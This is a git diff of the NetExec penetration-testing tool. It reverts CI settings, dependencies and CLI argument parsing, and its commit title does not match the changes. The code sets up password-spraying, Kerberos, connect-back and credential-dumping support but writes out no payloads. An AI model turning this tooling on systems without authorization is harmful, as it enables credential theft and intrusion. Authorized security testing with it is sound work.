Changing fallback to hash login for unicode errors

.github/ISSUE_TEMPLATE/feature_request.md

@@ -1,18 +0,0 @@
----
-name: Feature request
-about: Request a new feature or enhancement
-title: ''
-labels: ''
-assignees: ''
-
----
-**Please Describe The Problem To Be Solved**
-(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
-
-**(Optional): Suggest A Solution**
-(Replace This Text: A concise description of your preferred solution. Things to address include:
-* Details of the technical implementation
-* Tradeoffs made in design decisions
-* Caveats and considerations for the future
-
-If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/PULL_REQUEST_TEMPLATE.md

@@ -1,36 +0,0 @@
-## Description
-
-Please include a summary of the change and which issue is fixed, or what the enhancement does.
-Please also include relevant motivation and context.
-List any dependencies that are required for this change.
-
-## Type of change
-Please delete options that are not relevant.
-- [ ] Bug fix (non-breaking change which fixes an issue)
-- [ ] New feature (non-breaking change which adds functionality)
-- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
-- [ ] This change requires a documentation update
-- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
-
-## How Has This Been Tested?
-Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
-Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
-
-If you are using poetry, you can easily run tests via:
-`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
-There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
-
-## Screenshots (if appropriate):
-Screenshots are always nice to have and can give a visual representation of the change.
-If appropriate include before and after screenshot(s) to show which results are to be expected.
-
-## Checklist:
-
-- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
-- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
-- [ ] New and existing e2e tests pass locally with my changes
-- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
-- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
-- [ ] I have performed a self-review of my own code
-- [ ] I have commented my code, particularly in hard-to-understand areas
-- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/build.yml

@@ -10,11 +10,11 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.10", "3.11", "3.12", "3.13"]
+        python-version: ["3.8", "3.9", "3.10", "3.11"]
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v3
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v5
+      uses: actions/setup-python@v4
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
         pip install shiv
         python build_collector.py
     - name: Upload nxc ZipApp
-      uses: actions/upload-artifact@v4
+      uses: actions/upload-artifact@v3
       with:
         name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxc
     - name: Upload nxcdb ZipApp
-      uses: actions/upload-artifact@v4
+      uses: actions/upload-artifact@v3
       with:
         name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxcdb

.github/workflows/lint.yml

@@ -1,27 +1,24 @@
 name: Lint Python code with ruff
 # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
 
-on:
-  push:
-  workflow_dispatch:
-  pull_request_review:
-    types: [submitted]
+on: [push, pull_request]
 
 jobs:
   lint:
+    name: Lint Python code with ruff
     runs-on: ubuntu-latest
     if:
-      github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
+      github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v3
       - name: Install poetry
         run: |
           pipx install poetry
       - name: Set up Python
-        uses: actions/setup-python@v5
+        uses: actions/setup-python@v4
         with:
-          python-version: 3.13
+          python-version: 3.11
           cache: poetry
           cache-dependency-path: poetry.lock
       - name: Install dependencies with dev group

.github/workflows/netexec-build.yml

@@ -10,12 +10,12 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.13"]
+        python-version: ["3.11"]
         #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v3
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v5
+      uses: actions/setup-python@v4
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Native Binary
@@ -25,13 +25,13 @@ jobs:
         pyinstaller netexec.spec
     - name: Upload Windows Binary
       if: runner.os == 'windows'
-      uses: actions/upload-artifact@v4
+      uses: actions/upload-artifact@v3
       with:
         name: nxc.exe
         path: dist/nxc.exe
     - name: Upload Nix/OSx Binary
       if: runner.os != 'windows'
-      uses: actions/upload-artifact@v4
+      uses: actions/upload-artifact@v3
       with:
         name: nxc-${{ matrix.os }}
         path: dist/nxc

.github/workflows/test.yml

@@ -1,48 +1,32 @@
 name: NetExec Tests
 
 on:
-  workflow_dispatch:
   pull_request_review:
     types: [submitted]
 
 jobs:
   build:
-    name: Test for Py${{ matrix.python-version }}
-    if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
+    name: NetExec Tests for Py${{ matrix.python-version }}
     runs-on: ${{ matrix.os }}
     strategy:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.10", "3.11", "3.12", "3.13"]
+        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
     steps:
-      - uses: actions/checkout@v4
-      - name: Install poetry
-        run: |
-          pipx install poetry
-          poetry --version
-          poetry env info
-      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
-        uses: actions/setup-python@v5
-        with:
-          python-version: ${{ matrix.python-version }}
-          cache: poetry
-          cache-dependency-path: poetry.lock
-      - name: Install with pipx
-        run: |
-          pipx install . --python python${{ matrix.python-version }}
-      - name: Install libraries with dev group
-        run: |
-          poetry install --with dev
-      - name: Load every protocol and module
-        run: |
-          poetry run netexec winrm 127.0.0.1
-          poetry run netexec vnc 127.0.0.1
-          poetry run netexec smb 127.0.0.1
-          poetry run netexec ldap 127.0.0.1
-          poetry run netexec wmi 127.0.0.1
-          poetry run netexec rdp 127.0.0.1
-          poetry run netexec mssql 127.0.0.1
-          poetry run netexec ssh 127.0.0.1
-          poetry run netexec ftp 127.0.0.1
-          poetry run netexec smb 127.0.0.1 -L
+    - uses: actions/checkout@v3
+    - name: NetExec set up python on ${{ matrix.os }}
+      uses: actions/setup-python@v4
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install poetry
+      run: |
+        pipx install poetry --python python${{ matrix.python-version }}
+        poetry --version
+        poetry env info
+    - name: Install libraries with dev group
+      run: |
+        poetry install --with dev
+    - name: Run the e2e test
+      run: |
+        poetry run pytest tests

.gitignore

@@ -1,10 +1,8 @@
 data/nxc.db
 hash_spider_default.sqlite3
-hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv
-pyvenv.cfg
 .vscode
 .idea
 # Byte-compiled / optimized / DLL files

LICENSE

@@ -1,4 +1,4 @@
-Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
+Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
 Copyright (c) 2022, byt3bl33d3r
 All rights reserved.
 

README.md

@@ -1,4 +1,4 @@
-![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
+![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
 [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
 [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
 [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
 
 You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
 
-- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
+- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
 - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
 - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
 
@@ -37,17 +37,6 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
 # Installation
 Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
 
-## Linux
-```
-sudo apt install pipx git
-pipx ensurepath
-pipx install git+https://github.com/Pennyw0rth/NetExec
-```
-
-## Availability on Unix distributions
-
-[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
-
 # Development
 Development guidelines and recommendations in development
 

netexec.spec

@@ -13,25 +13,16 @@ a = Analysis(
         ('./nxc/modules', 'nxc/modules')
      ],
      hiddenimports=[
-        'aardwolf',
-        'aardwolf.connection',
-        'aardwolf.commons.queuedata.constants',
-        'aardwolf.commons.iosettings',
-        'aardwolf.commons.target',
-        'aardwolf.protocol.x224.constants',
         'impacket.examples.secretsdump',
-        'impacket.examples.regsecrets',
         'impacket.dcerpc.v5.lsat',
         'impacket.dcerpc.v5.transport',
         'impacket.dcerpc.v5.lsad',
         'impacket.dcerpc.v5.gkdi',
         'impacket.dcerpc.v5.rprn',
-        'impacket.dcerpc.v5.even',
         'impacket.dpapi_ng',
         'impacket.tds',
         'impacket.version',
         'impacket.ldap.ldap',
-        'jwt',
         'nxc.connection',
         'nxc.servers.smb',
         'nxc.protocols.smb.wmiexec',
@@ -41,16 +32,14 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
-        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
         'nxc.helpers.msada_guids',
-        'nxc.helpers.ntlm_parser',
         'paramiko',
         'pypsrp.client',
+        'pywerview.cli.helpers',
         'pylnk3',
         'pypykatz',
-        'pyNfsClient',
         'masky',
         'msldap',
         'msldap.connection',
@@ -70,17 +59,12 @@ a = Analysis(
         'dploot.triage.browser',
         'dploot.triage.credentials',
         'dploot.triage.masterkeys',
-        'dploot.triage.mobaxterm',
         'dploot.triage.backupkey',
-        'dploot.triage.wam',
         'dploot.triage.wifi',
-        'dploot.triage.sccm',
         'dploot.lib.target',
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
-        'dateutil.relativedelta',
-        'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
      runtime_hooks=[],

nxc/cli.py

@@ -1,63 +1,25 @@
 import argparse
-import argcomplete
 import sys
 from argparse import RawTextHelpFormatter
-from os import listdir
-from os.path import dirname
-from os.path import join as path_join
-import nxc
-from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.helpers.args import DisplayDefaultsNotNone
-from nxc.logger import nxc_logger, setup_debug_logging
+from nxc.logger import nxc_logger
 import importlib.metadata
 
 
 def gen_cli_args():
-    setup_debug_logging()
-    
-    try:
-        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
-        DISTANCE, COMMIT = COMMIT.split(".")
-    except ValueError:
-        VERSION = importlib.metadata.version("netexec")
-        COMMIT = ""
-        DISTANCE = ""
-    CODENAME = "SmoothOperator"
-    nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
-    
-    generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
-    generic_group.add_argument("--version", action="store_true", help="Display nxc version")
-    generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
-    generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
-    generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
-    
-    output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
-    output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
-    output_group.add_argument("--debug", action="store_true", help="enable debug level information")
-    output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
-    output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
-    
-    dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    dns_group = dns_parser.add_argument_group("DNS")
-    dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
-    dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
-    dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
-    dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
-    
-    parser = argparse.ArgumentParser(
-        description=rf"""
+    VERSION = importlib.metadata.version("netexec")
+    CODENAME = "nxc4u"
+
+    parser = argparse.ArgumentParser(description=f"""
      .   .
     .|   |.     _   _          _     _____
     ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
-    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
+    \\\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
     .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
-   / /˙-˙\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
-   ˙ \   / ˙
-     ˙   ˙
+   / /ॱ-ॱ\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
+   ॱ \   / ॱ
+     ॱ   ॱ
 
     The network execution tool
     Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -66,53 +28,48 @@ def gen_cli_args():
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
-    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
-    """,
-        formatter_class=RawTextHelpFormatter,
-        parents=[generic_parser, output_parser, dns_parser]
-    )
+    """, formatter_class=RawTextHelpFormatter)
+
+    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
+    parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
+    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
+    parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
+    parser.add_argument("--verbose", action="store_true", help="enable verbose output")
+    parser.add_argument("--debug", action="store_true", help="enable debug level information")
+    parser.add_argument("--version", action="store_true", help="Display nxc version")
 
     # we do module arg parsing here so we can reference the module_list attribute below
-    module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
-    mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
-    mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
-    mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
-    mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
+    module_parser = argparse.ArgumentParser(add_help=False)
+    mgroup = module_parser.add_mutually_exclusive_group()
+    mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
+    module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
+    module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
+    module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
+    module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
+    module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
+    module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
+    module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
 
-    subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
+    subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
 
-    std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
-    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
-    credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
-    credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
-    credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
-    credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
-    credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
-    credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
-    credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
-    credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
-    credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
-    credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
+    std_parser = argparse.ArgumentParser(add_help=False)
+    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
+    std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
+    std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
+    std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+    std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
+    std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
+    std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
+    std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
+    std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
+    std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
+    std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
+    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
 
-    kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
-    kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
-    kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
-    kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
-
-    certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
-    certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
-    certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
-    certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
-    certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
-    certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
-    
-    server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
-    server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
-    server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
-    server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
-    server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")    
+    fail_group = std_parser.add_mutually_exclusive_group()
+    fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+    fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
+    fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
 
     p_loader = ProtocolLoader()
     protocols = p_loader.get_protocols()
@@ -120,36 +77,18 @@ def gen_cli_args():
     try:
         for protocol in protocols:
             protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
-            subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
+            subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
     except Exception as e:
         nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
 
-    argcomplete.autocomplete(parser, always_complete_options=False)
-    args = parser.parse_args()
-
     if len(sys.argv) == 1:
         parser.print_help()
         sys.exit(1)
 
+    args = parser.parse_args()
+
     if args.version:
-        print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
+        print(f"{VERSION} - {CODENAME}")
         sys.exit(1)
 
-    # Multiply output_tries by 10 to enable more fine granural control, see exec methods
-    if hasattr(args, "get_output_tries"):
-        args.get_output_tries = args.get_output_tries * 10
-
     return args
-
-
-def get_module_names():
-    """Get module names without initializing them"""
-    modules = []
-    modules_paths = [
-        path_join(dirname(nxc.__file__), "modules"),
-        path_join(NXC_PATH, "modules"),
-    ]
-
-    for path in modules_paths:
-        modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
-    return sorted(modules, key=str.casefold)

nxc/config.py

@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
 
 # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
 def process_secret(text):
-    reveal = text[:reveal_chars_of_pwd]
-    return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
+    hidden = text[:reveal_chars_of_pwd]
+    return text if not audit_mode else hidden + audit_mode * 8

nxc/connection.py

@@ -1,101 +1,53 @@
 import random
-import sys
-import contextlib
-
 from os.path import isfile
 from threading import BoundedSemaphore
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
-from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
-from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
-from nxc.protocols.ldap.laps import laps_search
-from nxc.helpers.pfx import pfx_auth
 
 from impacket.dcerpc.v5 import transport
+import sys
 
 sem = BoundedSemaphore(1)
 global_failed_logins = 0
 user_failed_logins = {}
 
 
-def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
-    result = {
-        "host": "",
-        "is_ipv6": False,
-        "is_link_local_ipv6": False
-    }
+def gethost_addrinfo(hostname):
+    is_ipv6 = False
+    is_link_local_ipv6 = False
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    try:
-        if ip_address(target).version == 4:
-            address_info["AF_INET"] = target
-        else:
-            address_info["AF_INET6"] = target
-    except Exception:
-        # If the target is not an IP address, we need to resolve it
-        if not (dns_server or dns_tcp):
-            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-                af, _, _, canonname, sa = res
-                address_info[af.name] = sa[0]
-
-            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
-                address_info["AF_INET6"] = canonname
-                result["is_link_local_ipv6"] = True
-        else:
-            dnsresolver = resolver.Resolver()
-            dnsresolver.timeout = dns_timeout
-            dnsresolver.lifetime = dns_timeout
-
-            if dns_server:
-                dnsresolver.nameservers = [dns_server]
-
-            try:
-                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
-                address_info["AF_INET"] = answers_ipv4[0].address
-            except Exception:
-                pass
-
-            try:
-                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
-                address_info["AF_INET6"] = answers_ipv6[0].address
-
-                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
-                    result["is_link_local_ipv6"] = True
-            except Exception:
-                pass
-
-    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
-        raise Exception(f"The DNS query name does not exist: {target}")
+    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+        af, _, _, canonname, sa = res
+        address_info[af.name] = sa[0]
 
     # IPv4 preferred
-    if address_info["AF_INET"] and not force_ipv6:
-        result["host"] = address_info["AF_INET"]
+    if address_info["AF_INET"]:
+        host = address_info["AF_INET"]
     else:
-        result["is_ipv6"] = True
-        result["host"] = address_info["AF_INET6"]
+        is_ipv6 = True
+        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
 
-    return result
+    return host, is_ipv6, is_link_local_ipv6
 
 
 def requires_admin(func):
     def _decorator(self, *args, **kwargs):
         if self.admin_privs is False:
-            if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
-                return func(self, *args, **kwargs)
             return None
         return func(self, *args, **kwargs)
 
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, remoteHost, timeout):
+def dcom_FirewallChecker(iInterface, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
         if strBinding["wTowerId"] == 7:
@@ -115,7 +67,6 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
@@ -127,70 +78,49 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
 
 
 class connection:
-    def __init__(self, args, db, target):
+    def __init__(self, args, db, host):
+        self.domain = None
         self.args = args
         self.db = db
-        self.logger = nxc_logger
+        self.hostname = host
+        self.port = self.args.port
         self.conn = None
-
-        # Authentication info
+        self.admin_privs = False
         self.password = ""
         self.username = ""
-        self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
+        self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
+        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
-        self.admin_privs = False
         self.failed_logins = 0
-
-        # Network info
-        self.domain = None
-        self.host = None            # IP address of the target. If kerberos this is the hostname
-        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
-        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
-        self.kdcHost = self.args.kdcHost
-        self.port = self.args.port
         self.local_ip = None
-        self.dns_server = self.args.dns_server
+        self.logger = nxc_logger
 
-        # DNS resolution
-        dns_result = self.resolver(target)
-        if dns_result:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
-        else:
+        try:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
+            if self.args.kerberos:
+                self.host = self.hostname
+            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
             return
 
-        if self.kerberos:
-            self.host = self.hostname
+        if args.jitter:
+            jitter = args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
 
-        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
